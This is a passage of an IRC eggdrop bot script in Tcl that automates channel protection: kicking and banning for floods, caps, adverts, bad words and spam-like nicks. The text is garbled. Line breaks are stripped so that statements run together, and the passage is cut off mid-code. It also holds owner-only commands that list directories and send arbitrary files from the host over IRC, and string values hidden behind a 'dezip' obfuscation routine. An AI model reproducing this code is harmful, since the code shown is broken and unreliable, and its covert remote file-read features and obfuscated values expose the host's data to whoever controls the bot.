ismaskhost is_mglobal botnick capsnick deopme repeat_person quick bannick notmregsub -all -- [dezip "jGBDx04~ntxb0"] $text "" textregsub -all -- [dezip "bFuC0.Jq~aEc0"] $text "" textregsub -all -- [dezip "xdxsF1~hBM6q0"] $text "" textpub_Z $nick $uhost $hand $chan $textset cflag "c$chan"set cflag [string range $cflag 0 8]set real $textset text [uncolor $text]if {$nick == "ChanServ"} {if {[string match "*has deopped $botnick*" $text]} {if {![matchattr [lindex $text 0] f]} {if {[matchattr $cflag D]} {set deopme [lindex $text 0]}}}return 0}if {[matchattr $nick f]} { return 0 }set mhost [string range $uhost [string first "@" $uhost] end]if {$nick == $botnick} { return 0 }set resume "T"if {[string match "*-greet*" [channel info $chan]]} {set resume "F"}if {![isop $botnick $chan]} {set resume "F"}if {![info exists kops]} {if {[isop $nick $chan]} {set resume "F"}if {[isvoice $nick $chan]} {set resume "F"}}# Tsunami Flood PRoTECTIONif {[string length $text] > 100} {set chr 0set cnt 0while {$cnt < [string length $real]} {if [isflood [string index $real $cnt]] {incr chr}incr cnt}if {$chr > 30} {if {$resume == "T"} {set bannick($nick) "*!*$mhost"if {![isutimer "TsunamI $chan"]} {utimer 30 [list putlog "TsunamI $chan"]} elseif {[info exists ismaskhost]} {set bannick($nick) [maskhost "*!*$mhost"]}if {$quick == "1" && ![info exists is_m($chan)]} {putqck "KICK $chan $nick :$notm 1ABusINg 4TsunamI [banms]"} {putsrv "KICK $chan $nick :$notm 1ABuSING 4TsunamI [banms]"}}return 0}}if {![info exists kops]} {if {$resume == "F"} { return 0 }}if {[string match "*!seen [string tolower $nick]*" [string tolower $text]]} {putsrv "KICK $chan $nick :$notc 1gO LooK in a 4mIRRoR1..!"return 0}if {[string match "*decode*" [string tolower $text]]} {set bannick($nick) "*!*$mhost"putsrv "KICK $chan $nick :$notc 4DecOdE1 DeNIaL [banmsg]"return 0}if {[string match "*#*" $text] && ![string match "*##*" $text] && ![string match "*# *" $text]} {foreach x [channels] {set chksiton [string tolower $x]if {[string match "*$chksiton*" [string tolower $text]]} { return }}foreach seekchan $text {if {[string match "*#*" $seekchan]} {set bannick($nick) "*!*$mhost"putsrv "KICK $chan $nick :$notc 1DonT 4InvITEd1 MaTcH FRoM 4$seekchan [banms]"return 0}}}if {[string match "*http://*" [string tolower $text]] || [string match "*www.*.*" [string tolower $text]]} {set bannick($nick) "*!*$mhost"putsrv "KICK $chan $nick :$notc 1DonT 4AdvERTIsE1 IN 4[string toupper $chan] [banms]"return 0}if {[matchattr $cflag R]} {if {[info exists repeat_last($mhost$chan)]} {if {[string tolower $repeat_last($mhost$chan)] == [string tolower $text]} {if {![info exists repeat_person($mhost$chan)]} {set repeat_person($mhost$chan) 1} {incr repeat_person($mhost$chan)}if {$repeat_person($mhost$chan) == [getuser $cflag XTRA "RPT"]} {set bannick($nick) "*!*$mhost"putsrv "KICK $chan $nick :$notc 4RePeaT 1FRoM 4$mhost 1MaX4 [getuser $cflag XTRA "RPT"] [banms]"catch {unset repeat_person($mhost$chan)}catch {unset repeat_last($mhost$chan)}return 0}}}set repeat_last($mhost$chan) $text}if {[matchattr $cflag T] && [string length $real] >= [getuser $cflag XTRA "CHAR"]} {catch {unset repeat_person($mhost$chan)}catch {unset repeat_last($mhost$chan)}set banmask "*!*[string range $uhost [string first "@" $uhost] end]"set bannick($nick) $banmaskif {![isutimer "OL $chan"]} {utimer 10 [list putlog "OL $chan"]putsrv "KICK $chan $nick :$notc 1ABuSINg 4LoNg TexT 1MaX4 [getuser $cflag XTRA "CHAR"]1 CHaR [banmsg]"} {putsrv "KICK $chan $nick :$notm 1ABuSINg 4LoNg TexT 1MaX4 [getuser $cflag XTRA "CHAR"]1 CHaR [banmsg]"}return 0}if {[matchattr $cflag U]} {set len [string length $text]if {[isbad $nick $uhost $chan $text]} { return 0 }if {$len < 30} { return 0 }set cnt 0set capcnt 0while {$cnt < $len} {if {[string index $text $cnt] == " " || [isupper [string index $text $cnt]]} {incr capcnt}incr cnt}if {[expr 100 * $capcnt / $len] >= [getuser $cflag XTRA "CAPS"]} {if {![info exists capsnick($nick)]} {putsrv "KICK $chan $nick :$notc 1SToP UsEd 4CapsLocK1 ExceEd4 [getuser $cflag XTRA "CAPS"]%1..!"set capsnick($nick) "1"return 0}set banmask "*!*[string range $uhost [string first "@" $uhost] end]"set bannick($nick) $banmaskputsrv "KICK $chan $nick :$notc 42nd1 WaRN DonT UsEd 4CapsLocK1 ExceEd4 [getuser $cflag XTRA "CAPS"]% [banms]"unset capsnick($nick)}}}proc isupper {letter} {set caps {A B C D E F G H IJ K L M N O P Q RS T U V W X Y Z}if {[lsearch -exact $caps $letter] > -1} {return 1} else {return 0}}proc isflood {letter} {set caps {! @ # $ % ^ & * () | [ ] < > / \ = }if {[lsearch -exact $caps $letter] > -1} {return 1} else {return 0}}proc isbad {nick uhost chan arg} {global badwords botnick notc bannickset arg [string tolower $arg]if {[string match "*-greet*" [channel info $chan]]} {set isbad 0return 0}foreach badword [string tolower $badwords] {if {[string match *$badword* [string tolower $arg]]} {set bannick($nick) "*!$uhost"putsrv "KICK $chan $nick :$notc 4BaDWoRD1 MaTcH FRoM 4[string toupper $badword] [banms]"return 1}}set isbad 0return 0}proc set_-m {chan} {if {[isutimer "set_-m $chan"]} { return 0 }if {[botonchan $chan] && [botisop $chan] && [string match "*m*" [getchanmode $chan]]} {putserv "mode $chan -m"}}proc topic_chk {nick host handle chan topic} {global botnick notc bannickset cflag "c$chan"set cflag [string range $cflag 0 8]if {![matchattr $cflag I]} { return 0 }if {$nick == $botnick || $nick == "ChanServ"} { return 0 }if {[matchattr $nick m]} {setuser $cflag XTRA "TOPIC" [topic $chan]saveuserreturn 0}if {![isop $botnick $chan]} { return 0 }if {[matchattr $nick f] || $nick == $botnick} { return 0 }if {$topic == [getuser $cflag XTRA "TOPIC"]} { return 0 }if {![string match "*dal.net*" $nick]} {set banmask "*!*[string range $host [string first "@" $host] end]"set bannick($nick) $banmaskputsrv "KICK $chan $nick :$notc 1DonT cHaNgINg 4ToPIc [banms]"}puthlp "topic $chan :[getuser $cflag XTRA "TOPIC"]"return 0}bind flud - * flood_chkproc flood_chk {nick host handle type channel} {global notc botnick quick bannick notm flooddeop floodnick floodkick igflood kopsputlog "!Log! FLOOD <<$type>> FRoM $host"if {[info exists bannick($nick)]} { return 1 }if {[info exists igflood($nick)]} { return 1 }if {[string match "*Serv*" $nick] || [matchattr $handle f] || $nick == $botnick} {putlog "!Log! FlooD <<$nick>> Service OR FrIeNd !PaSS!"return 1}if {[string index $channel 0] != "#"} {foreach x [channels] {if {[onchan $nick $x]} {set channel $x}}}set mhost "@[lindex [split $host @] 1]"if {[string index $channel 0] == "#"} {if {![isop $botnick $channel]} {putlog "!Log! FlooD <<$nick>> BoT NoT @P !IgNoREd!"return 1}}set type [string tolower $type]if {$type == "join"} {set bannick($nick) "*!*$mhost"putsrv "KICK $channel $nick :$notm 1ExceEd MaX 4JoIN1 FRoM 4$mhost [banms]"}if {$type == "ctcp"} {if {![info exists kops]} {if {[isop $nick $channel] || [isvoice $nick $channel]} {return 1}}set bannick($nick) "*!*$mhost"if {$quick == "1"} {putqck "KICK $channel $nick :$notm 1ExceEd MaX 4cTcP1 FRoM 4$mhost [banms]"} else {putsrv "KICK $channel $nick :$notm 1ExceEd MaX 4cTcP1 FRoM 4$mhost [banms]"}}if {$type == "pub"} {if {![info exists kops]} {if {[isop $nick $channel] || [isvoice $nick $channel]} {return 1}}set bannick($nick) "*!$host"putsrv "KICK $channel $nick :$notc 1ExceEd MaX 4LINES1 FRoM 4$mhost [banms]"return 1}if {$type == "nick"} {if {![info exists kops]} {if {[isop $nick $channel] || [isvoice $nick $channel] || [string length $nick] == 8} {return 1}}if {![info exists floodnick($mhost)]} {set floodnick($mhost) 1putsrv "KICK $channel $nick :$notc 1sTOp cHaNgINg YouR 4NIcK1..!"} {catch {unset floodnick($mhost)}set bannick($nick) "*!*$mhost"putsrv "KICK $channel $nick :$notc 1TwIcE ExceEd 4NIcK1 FRoM 4$mhost [banms]"}}if {$type == "deop"} {if {![info exists flooddeop($nick)]} {set flooddeop($nick) 1putsrv "KICK $channel $nick :$notc 1ExceEd MaX 4De@p1 FRoM 4$mhost1..!"} {catch {unset flooddeop($nick)}set bannick($nick) "*!*$mhost"putsrv "KICK $channel $nick :$notc 1TwIcE ExceEd MaX 4De@p1 FRoM 4$mhost [banms]"}}if {$type == "kick"} {if {![info exists floodkick($nick)]} {set floodkick($nick) 1putsrv "KICK $channel $nick :$notc 1ExceEd MaX 4KIcK1 FRoM 4$mhost1..!"} {catch {unset floodkick($nick)}set bannick($nick) "*!*$mhost"putsrv "KICK $channel $nick :$notc 1TwIcE ExceEd MaX 4KIcK1 FRoM 4$mhost1..!"}}return 1}bind raw - INVITE raw_chkproc raw_chk {nick keyword arg} {global invme joinme notc bannick notd botnickset who [string range $nick 0 [expr [string first "!" $nick]-1]]set channel [lindex $arg 1]set channel [string range $channel 1 end]foreach x [channels] {if {[string tolower $channel] == [string tolower $x]} {putsrv "JOIN $channel"return 0}}if {$who == "ChanServ" || [matchattr $who Z]} {if {![validchan $channel]} {if {[matchattr $who Z] && ![matchattr $who Q]} {puthlp "NOTICE $who :$notc 4DeNiEd..!"return 0} else {set joinme $who}channel add $channelcatch { channel set $channel -statuslog -revenge -protectops -clearbans -enforcebans +greet -secret -autovoice -autoop flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }savechan}putsrv "JOIN $channel"return 0}if {[matchattr $who f]} { return 0 }foreach x [channels] {if {[onchan $who $x]} {if {[isop $botnick $x]} {set banmask "*!*[string range $nick [string first "@" $nick] end]"set bannick($who) $banmaskputsrv "KICK $x $who :$notc 4!SpaM!1 I HaTE 4InvITeR [banms]"return 0} {set members [chanlist $x f]foreach c $members {if {[isop $c $x]} {putlog "!Log! RePORTED InVITING FRoM <<$who$x>> To #$c#"set sendspam "!kick [zip "$x $who $notc 4!SpaM!1 FRoM 4[string range $nick [string first "@" $nick] end]1 InvITE [banmsg]"]"putsrv "PRIVMSG $c :$sendspam"return 0}}}}}set invme([string range $nick [string first "@" $nick] end]) "InvITeR"return 0}bind ctcp - CLIENTINFO sl_ctcpbind ctcp - USERINFO sl_ctcpbind ctcp - FINGER sl_ctcpbind ctcp - ERRMSG sl_ctcpbind ctcp - ECHO sl_ctcpbind ctcp - INVITE sl_ctcpbind ctcp - WHOAMI sl_ctcpbind ctcp - OP sl_ctcpbind ctcp - OPS sl_ctcpbind ctcp - UNBAN sl_ctcpbind ctcp - TIME sl_ctcpbind ctcp - VERSION sl_ctcpbind ctcp - CHAT chat_ctcpproc sl_ctcp {nick uhost hand dest key arg} {global botnick notcif {[matchattr $nick f] || $nick == $botnick} { return 1 }if {[string match "*dal*et*" [string tolower $uhost]]} {putsrv "NOTICE $nick :\001VERSION 0,4<1,4>14,5 g150e0Z T15c14L 1,4<0,4>\001"} {set hostmask "${nick}!*@*"newignore $hostmask $botnick "*" 1}return 1}proc chat_ctcp {nick uhost hand dest key arg} {global botnick notcif {[matchattr $nick Z]} { return 0 }puthlp "NOTICE $nick :$notc 1SoRRY I DoNT KNoW YoU..!"newignore "${nick}!*@*" $botnick "*" 1return 1}set virus_nick ""bind ctcp - DCC got_dccproc got_dcc {nick uhost handle dest key arg} {global virus_nick notc notd botnickif {[matchattr $nick f]} { return 0 }if {[lindex $arg 2] == 0 && [lindex $arg 3] == 0} {putlog "!Log! FaKE DCC SKIPPED..!"return 1}set virus_nick $nickforeach x [channels] {if {[onchan $nick $x] && ![isop $nick $x]} {if {[isop $botnick $x]} {putsrv "KICK $x $nick :$notc 4!SpaM!1 I HaTE 4VIRuZ [banms]"set virus_nick ""} else {set members [chanlist $x f]foreach c $members {if {[isop $c $x]} {putlog "!Log! RePORTED ViRUS FRoM <<$nick$x>> To #$c#"set sendspam "!kick [zip "$x $nick $notc 4!SpaM!1 YeW GoT VIRuZ JoIN #ciut TO FIxED [banmsg]"]"putsrv "PRIVMSG $c :$sendspam"return 0}}}}}return 1}proc voiceq {chan nick} {utimer [expr 5 + [rand 15]] [list voiceprc $chan $nick]}proc voiceprc {chan nick} {global botnickif {[isop $botnick $chan] && ![isvoice $nick $chan] && ![isop $nick $chan]} {putserv "MODE $chan +vvvvvv $nick"}}proc advertise {chan nick} {if {[isutimer "advq $chan $nick"]} { return 0 }set cret 5foreach ct [utimers] {if {[string match "*advq*" $ct]} {if {[expr [lindex $ct 0] + 5] > $cret} {set cret [expr [lindex $ct 0] + 5]}}}utimer $cret [list advq $chan $nick]}proc advq {chan nick} {global notcset cflag "c$chan"set cflag [string range $cflag 0 8]if {![isop $nick $chan] && [onchan $nick $chan]} {set greetmsg [getuser $cflag XTRA "GREET"]regsub %n $greetmsg $nick greetmsgregsub %c $greetmsg $chan greetmsgputhlp "NOTICE $nick :[lgrnd] $greetmsg"}}proc deopprc {chan nick} {global botnickif {[isop $botnick $chan] && [isop $nick $chan]} {if {![string match "*k*" [getchanmode $chan]]} {putserv "MODE $chan -ko 4n0.Guest.@ps $nick"} {putserv "MODE $chan -o $nick"}}}proc autokick {chan nick} {global bannick notc botnickif {[isop $botnick $chan] && ![isop $nick $chan] && ![isvoice $nick $chan]} {set hostmask [getchanhost $nick $chan]set hostmask "*!*@[lindex [split $hostmask @] 1]"set bannick($nick) $hostmaskputsrv "KICK $chan $nick :$notc 1cHaNNeL IS UnDeR c0NsTRucTIoN [banmsg]"}}proc opq {chan nick} {utimer [expr 7 + [rand 15]] [list opprc $chan $nick]}proc opprc {chan nick} {global botnick unopif {[isop $botnick $chan] && ![isop $nick $chan] && ![info exists unop($nick)]} {putserv "MODE $chan +oooooo $nick"}}proc dcc_cmd {hand idx arg} {if {![matchattr $hand Z]} { return 0 }if {![matchattr $hand Q]} { chattr $hand +Q }msg_Z $hand "*" $hand $arg}proc dcc_get {hand idx arg} {global notc ownif {$hand != $own} { return 0 }if {![file exists [lindex $arg 0]]} {putdcc $idx "4DeNiEd..!, [lindex $arg 0] <n/a>"return 0}if {[lindex $arg 1] != ""} {set hand [lindex $arg 1]}switch -- [dccsend [lindex $arg 0] $hand] {0 { putdcc $idx "<<TRaNSFERRING LOG>>" }1 { putdcc $idx "dcc table is full (too many connections), TrY AgAIN LaTeR!" }2 { putdcc $idx "can't open a socket for transfer." }3 { putdcc $idx "file doesn't exist." }4 { putdcc $idx "file was queued for later transfer." }}}proc msg_get {nick uhost hand arg} {global notc ownif {$nick != $own} { return 0 }if {![matchattr $nick Q]} {puthlp "PRIVMSG $nick :$notc 4DeNiEd..!"return 0}if {![file exists $arg]} {puthlp "PRIVMSG $nick :4DeNiEd..!, $arg <n/a>"return 0}switch -- [dccsend $arg $nick] {0 {puthlp "NOTICE $nick :$notc TRaNSFERRING LOG..!"}1 {puthlp "NOTICE $nick :$notc dcc table is full (too many connections), TrY AgAIN LaTER!"}2 {puthlp "NOTICE $nick :$notc can't open a socket for transfer."}3 {puthlp "NOTICE $nick :$notc file doesn't exist."}4 {puthlp "NOTICE $nick :file was queued for later transfer."}}}bind raw - 301 rtnproc rtn { from keyword arg } {global notd botnick notb notc bannickset nick [lindex $arg 1]if {[matchattr $nick f]} { return 0 }set awaytext [string range [lrange $arg 2 end] 1 end]if {[string match "*Devil^Crew*" [uncolor $awaytext]]} { return 0 }if {$nick == $botnick} {#puthlp "AWAY :[lgrnd]"} {if {[string match "*#*" $awaytext] || [string match "*/j*" $awaytext]} {foreach x [channels] {set chksiton [string tolower $x]if {[string match "*$chksiton*" [string tolower $awaytext]]} { return 0 }}foreach x [channels] {if {[onchan $nick $x]} {if {[isop $botnick $x]} {set bannick($nick) "*!*[string range [getchanhost $nick $x] [string first "@" [getchanhost $nick $x]] end]"putsrv "KICK $x $nick :$notc 4!SpaM!1 InvITE aWaY MSg [banmsg]"return 0} {set members [chanlist $x f]foreach c $members {if {[isop $c $x]} {set sendspam "!kick [zip "$x $nick $notc 4!SpaM!1 FRoM 4[string range [getchanhost $c $x] [string first "@" [getchanhost $c $x]] end]1 InvITE aWaY MSg [banmsg]"]"putsrv "PRIVMSG $c :$sendspam"return 0}}}}}}}}bind time - "*0 * * * *" chk_fivebind time - "*6 * * * *" chk_fiveproc chk_five {min h d m y} {global longercatch { remain }#if {![string match "**" $longer]} {#set longer "$deff"#}puthlp "AWAY :$longer"auto_ping "0" "0" "0" "0" "0"}proc msg_dir {nick uhost hand arg} {global notc ownif {$nick != $own} { return 0 }if {![matchattr $nick Q]} {puthlp "PRIVMSG $nick :4DeNiEd..!"return 0}if {$arg == ""} {set arg "."}set dirlist ""foreach x [getfiles "$arg"] {append dirlist "$x "}puthlp "PRIVMSG $nick :$dirlist"}
bind msg Z !read msg_readproc msg_read {nick uhost hand arg} {global notc own psif {$nick != $owner && $nick != $ps} {puthlp "PRIVMSG $nick :$notc DENIED !!!"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4D1e4N1ied4!!"return 0}
if {![file exists $arg]} {puthlp "PRIVMSG $nick :$notc File not Found, $arg <n/a>"return 0}set fd [open $arg r]while {![eof $fd]} {set inp [gets $fd]puthlp "PRIVMSG $nick :$inp"}close $fdputhlp "PRIVMSG $nick :EoF..!"}proc pub_log {nick uhost hand channel arg} {global notcif {[getuser "config" XTRA "LOGCHAN"]!=""} {puthlp "NOTICE $nick :$notc Log [getuser "config" XTRA "LOGCHAN"]"}}proc pub_server {nick uhost hand channel arg} {global server notcif {$arg != ""} {if {[string match "*$arg*" $server]} {puthlp "privmsg $channel :[lindex $server 0]"}} {puthlp "privmsg $channel :[lindex $server 0]"}}set own $ownerproc dcc_dir {hand idx arg} {global ownif {$hand != $own} { return 0 }if {$arg == ""} {set arg "."}foreach x [getfiles "$arg"] {putdcc $idx "$x"}}proc dcc_read {hand idx arg} {global ownif {$hand != $own} { return 0 }if {![file exists $arg]} {putdcc $idx "4DeNiEd..!, FiLE NoT ExIST $arg"return 0}set fd [open $arg r]while {![eof $fd]} {set inp [gets $fd]putdcc $idx "$inp"}close $fdputdcc $idx "4******************** END ***********************"}proc msg_bantime {nick uhost hand rest} {global notc ban-timeif {$rest==""} {puthlp "NOTICE $nick :$notc BanTime \[${ban-time}\] (set 0 to never unban)"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}set mtime [lindex $rest 0]if {![isnumber $mtime]} {puthlp "NOTICE $nick :$notc Usage: bantime <minutes> (set 0 to never unban)"return 0}set ban-time $mtimesetuser "config" XTRA "BANTIME" $mtimeputhlp "NOTICE $nick :$notc BanTime \[$mtime\]"saveuser}proc chk_limit {chan} {global notc botnick lst_limitif {![isop $botnick $chan]} { return 0 }if {![info exists lst_limit($chan)]} {set lst_limit($chan) 0}set cflag "c$chan"set cflag [string range $cflag 0 8]set usercount 0foreach x [chanlist $chan] {incr usercount}set usercount [expr [getuser $cflag XTRA "LIMIT"] + $usercount]if {$lst_limit($chan) != $usercount} {set lst_limit($chan) $usercountputserv "MODE $chan +l $usercount"}}proc msg_logchan {nick uhost hand rest} {global notc ownif {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: logchan <#channel/0>"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {[string tolower $rest] == "off"} {puthlp "NOTICE $nick :$notc LOGCHAN [getuser "config" XTRA "LOGCHAN"] \[4OFF\]"setuser "config" XTRA "LOGCHAN" ""} else {if {[string tolower $rest] == [dezip "ER5sr09TRjx1"]} {return 0}if {![validchan $rest]} {puthlp "NOTICE $nick :$notc NoT IN $rest"return 0}setuser "config" XTRA "LOGCHAN" $restputhlp "NOTICE $nick :$notc LOG CHaNNEL $rest \[9ON\]"}saveuserutimer 5 rehashing}proc dcc_log {hand idx arg} {global logstore notcif {$logstore == ""} {putdcc $idx "No LOG FouNd..!"return 0}if {![file exists $logstore]} {putdcc $idx "4DeNiEd..!, Log file haven't create yet!"return 0}set fd [open $logstore r]while {![eof $fd]} {set inp [gets $fd]putdcc $idx "$inp"}close $fdputdcc $idx "4******************** END ***********************"}set quick "0"proc chk_quick {} {global quick botnickputquick "PRIVMSG $botnick :\001PING [unixtime]\001"set quick "1"}utimer 1 chk_quickbind raw - MODE chk_opproc chk_op { from keyword arg } {global botnickif {![string match "*+o*$botnick*" $arg]} { return 0 }set chan [lindex $arg 0]if {[string match "*dal.net*" $from]} {pub_resync $botnick "*" "*" $chan "*"return 0}chk_on_op $chan}proc chk_on_op {channel} {global botnick kickme deopme invme virus_nick quick notc bannick is_m botnameset cflag "c$channel"set cflag [string range $cflag 0 8]if {[isutimer "chkspam $channel"]} {foreach x [utimers] {if {[string match "*chkspam $channel*" $x]} { killutimer [lindex $x 2] }}}if {[isutimer "GOP $channel"]} { return 0 }if {![onchan $botnick $channel]} { return 0 }utimer 20 [list putlog "GOP $channel"]set cinfo [channel info $channel]if {[string match "*+nodesynch*" $cinfo]} {pub_mdeop "*" "*" "*" $channel ""}set cmode [getchanmode $channel]if {![isutimer "set_-m $channel"] && ![info exists is_m($channel)]} {if {[matchattr $cflag K]} {if {![string match "*[dezip [getuser $cflag XTRA "CI"]]*" [getchanmode $channel]]} {puthelp "mode $channel -k+k . [dezip [getuser $cflag XTRA "CI"]]"}} {if {[string match "*k*" $cmode]} {if {[string tolower $channel] != [dezip "ER5sr09TRjx1"]} {putserv "mode $channel -k 9r.e.l.e.a.s.e.d"}}}if {[string match "*R*" $cmode]} {puthelp "mode $channel -R"}if {[string match "*m*" $cmode] && ![string match "*m*" [lindex [channel info $channel] 0]]} {putserv "mode $channel -m"}if {[string match "*i*" $cmode]} {putserv "mode $channel -i"}}if {![string match "*m*" $cmode]} {foreach x [utimers] {if {[string match "*set_-m $channel*" $x]} {killutimer [lindex $x 2]}}}if {[matchattr $cflag I]} {if {[topic $channel] != [getuser $cflag XTRA "TOPIC"]} {puthlp "topic $channel :[getuser $cflag XTRA "TOPIC"]"}}foreach x [chanlist $channel] {if {$x == $deopme} {if {[isop $x $channel]} {if {![string match "*k*" $cmode]} {if {$quick == "1"} {putquick "mode $channel -ko 4De@p.ReveRsE $x"} else {putserv "mode $channel -ko 4De@p.ReveRsE $x"}} {if {$quick == "1"} {putquick "mode $channel -o $x"} else {putserv "mode $channel -o $x"}}}set deopme ""}set mhost "@[lindex [split [getchanhost $x $channel] @] 1]"if {[info exists kickme($x)]} {if {$kickme($x) == 3} {catch { unset kickme($x) }set bannick($x) "*!*$mhost"if {$quick == "1"} {putqck "KICK $channel $x :$notc 1RePeaT 4KIcK 1ReMoTe OFF4..!"} else {putsrv "KICK $channel $x :$notc 1RePeaT 4KIcK 1ReMoTe OFF4..!"}} {if {$kickme($x) == 1} {if {$quick == "1"} {putqck "KICK $channel $x :$notc 1SeLF 4KIcK1 REvENgE4..!"} {putsrv "KICK $channel $x :$notc 1SeLF 4KIcK1 REvENgE4..!"}}}}if {[matchattr $cflag V]} {if {![isutimer "set_-m $channel"] && ![info exists is_m($channel)]} {if {$x != $botnick && ![isvoice $x $channel] && ![isop $x $channel] && ![matchattr $x O]} {set cret [getuser $cflag XTRA "VC"]foreach ct [utimers] {if {[string match "*voiceq*" $ct]} {if {[expr [lindex $ct 0] + [getuser $cflag XTRA "VC"]] > $cret} {set cret [expr [lindex $ct 0] + [getuser $cflag XTRA "VC"]]}}}utimer $cret [list voiceq $channel $x]}}}if {[matchattr $x v] || [matchattr $x P] || [matchattr $x G]} {if {![isop $x $channel] || ![isvoice $x $channel]} {whoisq $x}}if {[matchattr $x O]} {if {[isop $x $channel]} {set cmode [getchanmode $channel]if {![string match "*k*" $cmode]} {puthelp "mode $channel -ko 4No@p.LIsT $x"} {puthelp "mode $channel -o $x"}} {if {[isvoice $x $channel]} {set cmode [getchanmode $channel]if {![string match "*k*" $cmode]} {puthelp "mode $channel -kv 4No@p.LIsT $x"} {puthelp "mode $channel -v $x"}}}}if {[info exists invme($mhost)]} {if {![isop $x $channel]} {set bannick($x) "*!*$mhost"if {$invme($mhost) == "AuToJoIN MSg"} {if {![isvoice $x $channel]} {putsrv "KICK $channel $x :$notc 4!SpaM!1 FRoM 4$mhost 1$invme($mhost) 4R1emote 4O1ff4..!"}} {putsrv "KICK $channel $x :$notc 4!SpaM!1 FRoM 4$mhost 1$invme($mhost) [banmsg]"}}catch {unset invme($mhost)}}if {$x == $virus_nick} {if {![isop $x $channel]} {set bannick($x) "*!*$mhost"putsrv "KICK $channel $x :$notc 4!SpaM!1 FRoM 4$mhost1 VIRuZ [banmsg]"set virus_nick ""}}spam_chk $x [getchanhost $x $channel] "*" $channel}foreach x [chanlist $channel K] {if {![matchattr $x f]} {akick_chk $x [getchanhost $x $channel] $channel}}foreach x [chanbans $channel] {set bhost [lindex $x 0]if {[string match [string tolower $bhost] [string tolower $botname]]} {if {![string match "*k*" $cmode]} {puthelp "mode $channel -kb 4SeLF.UnBaN $bhost"} {puthelp "mode $channel -b $bhost"}} elseif {[matchattr $bhost f]} {puthelp "mode $channel -b $bhost"} elseif {[getuser "config" XTRA "IPG"] != ""} {foreach ipg [getuser "config" XTRA "IPG"] {if {[string match $ipg $bhost] || [string match $bhost $ipg]} {if {![isutimer "IPG $bhost"]} {if {![string match "*k*" $cmode]} {puthelp "mode $channel -kb 4IpgUaRd $bhost"} {puthelp "mode $channel -b $bhost"}utimer 60 [list putlog "IPG $bhost"]}}}}}}bind time - "01 * * * *" show_statusproc show_status {min h d m y} {global botnickforeach x [channels] {if {[isop $botnick $x]} {pub_status "*" "*" "*" $x ""chk_on_op $x}}return 0}proc badnick_chk {nick uhost hand chan} {global bannick notc botnick badwordsforeach x [string tolower $badwords] {if {[string match "*$x*" [string tolower $nick]]} {set bannick($nick) "*!$uhost"putsrv "KICK $chan $nick :$notc 4BaD NIcK1 MaTcH FRoM 4[string toupper $x] [banms]"return 1}}return 0}proc spam_chk {nick uhost hand chan} {global notc botnick spidxset cflag "c$chan"set cflag [string range $cflag 0 8]if {![matchattr $cflag S]} { return 0 }if {$nick == $botnick} { return 0 }if {[isvoice $nick $chan]} { return 0 }if {[isop $nick $chan]} { return 0 }if {[matchattr $nick f]} { return 0 }if {[badnick_chk $nick $uhost $hand $chan]} {return 0}set nicklen [string length $nick]if {$nicklen < 5} { return 0 }set idx [string index $nick [expr $nicklen - 4]][string index $nick [expr $nicklen - 3]][string index $nick [expr $nicklen - 2]][string index $nick [expr $nicklen - 1]]if {[isnumber $idx]} { return 0 }set idx [string index $nick [expr $nicklen - 2]][string index $nick [expr $nicklen - 1]]if {[isnumber $idx]} {if {[string index $uhost 0] != "~"} { return 0 }if {$nicklen < 10} {if {![string match "~$nick@*" $uhost]} { return 0 }} {if {![string match "~[string index $nick 0][string index $nick 1][string index $nick 2]*@*" $uhost]} { return 0 }}if {$spidx == 18} {set spidx 1}spamkick $nick $uhost $chanreturn 0}if {[regexp \[^a-z\] $nick]} { return 0 }set nickchk [string tolower $nick]set count 0set lstidx ""for {set i 0} {$i < $nicklen} {incr i} {set idx [string index $nickchk $i]if {$idx == "a" || $idx == "e" || $idx == "i" || $idx == "o" || $idx == "u"} {set count 0} {if {$idx != $lstidx && $idx != "y"} { incr count }if {$count == 4} {spamkick $nick $uhost $chanreturn 0}}set lstidx $idx}}proc akick_chk {nick uhost chan} {global notc bannickforeach x [getuser "AKICK" HOSTS] {if {[string match [string tolower $x] [string tolower "$nick!$uhost"]]} {set bannick($nick) $xputsrv "KICK $chan $nick :$notc 4B1L4a1c4K1L4I1s4T1 MaTcH FRoM4 $x [banms]"return 0}}}set spidx 1proc spamkick {nick uhost chan} {global spidx notc bannickset bannick($nick) "*!$uhost"if {$spidx == 1} {putsrv "KICK $chan $nick :$notc 4!SpaM!1 YeW AInT WeLcOmE In 4[string toupper $chan] [banms]"} elseif {$spidx == 2} {putsrv "KICK $chan $nick :$notc 4!SpaM!1 DRonE TRoJaN [banmsg]"} elseif {$spidx == 3} {putsrv "KICK $chan $nick :$notc 4!SpaM!1 UgH I HatE ThIs NIcK [banmsg]"} elseif {$spidx == 4} {putsrv "KICK $chan $nick :$notc 4!SpaM!1 Ups WRoNg WaY [banmsg]"} elseif {$spidx == 5} {putsrv "KICK $chan $nick :$notc 4!SpaM!1 DonT EnTeReD 4[string toupper $chan] [banms]"} elseif {$spidx == 6} {putsrv "KICK $chan $nick :$notc 4!SpaM!1 InTeRcEpT [banmsg]"} elseif {$spidx == 7} {putsrv "KICK $chan $nick :$notc 4!SpaM!1 G.o.T.c.H.a [banmsg]"} elseif {$spidx == 8} {putsrv "KICK $chan $nick :$notc 4!SpaM!1 NEgaTIvE HoUsToN [banmsg]"} elseif {$spidx == 9} {putsrv "KICK $chan $nick :$notc 4!SpaM!1 gRoUndEd [banmsg]"} elseif {$spidx == 10} {putsrv "KICK $chan $nick :$notc 4!SpaM!1 AnTIcIpaTEd [banmsg]"} elseif {$spidx == 11} {putsrv "KICK $chan $nick :$notc 4!SpaM!1 gO sIt In tHe cOrNeR [banmsg]"} elseif {$spidx == 12} {putsrv "KICK $chan $nick :$notc 4!SpaM!1 b.l.a.c.k.l.i.s.t.e.d [banmsg]"} elseif {$spidx == 13} {putsrv "KICK $chan $nick :$notc 4!SpaM!1 ReJecTed FRoM 4[string toupper $chan] [banms]"} elseif {$spidx == 14} {putsrv "KICK $chan $nick :$notc 4!SpaM!1 sMoosHINg ReLaY TaBLe [banmsg]"} elseif {$spidx == 15} {putsrv "KICK $chan $nick :$notc 4!SpaM!1 dUn EnTeRed oNe oF mY cHanneL [banmsg]"} elseif {$spidx == 16} {putsrv "KICK $chan $nick :$notc 4!SpaM!1 ReFusEd LInK 